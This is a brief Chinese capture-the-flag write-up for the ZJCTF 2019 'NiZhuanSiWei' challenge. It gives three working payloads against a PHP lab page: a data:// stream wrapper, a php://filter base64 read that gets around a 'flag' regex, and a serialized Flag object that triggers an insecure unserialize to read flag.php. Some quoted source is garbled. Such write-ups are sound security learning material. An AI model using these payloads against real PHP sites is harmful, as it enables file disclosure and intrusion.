考点:PHP伪协议、
2019]NiZhuanSiWei
-
考点:PHP伪协议、
-
打开后是源码,拖到vscode里审计
-
第一个绕过点:
if(isset(text,‘r’)===“welcome to the zjctf”))
-
可以用data://写入协议
-
所以第一个payload: ?text=data://text/plain,welcome to the zjctf
-
接着审计,第二个绕过的地方是,这里会正则匹配flag
if(preg_match("/flag/",$file)){ echo “Not Now!”; exit(); }
-
所以不能用flag.PHP,file的传参里不能有flag,else里会包含unless.PHP,用filter看一下unless.PHP
-
第二个payload:file=PHP://filter/read=convert.base64-encode/resource=useless.PHP
-
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.PHP”;}
-
第三个payload:?text=data://text/plain,welcome to the zjctf&file=useless.PHP&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.PHP”;}
-
然后在源码中就可以找到flag
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。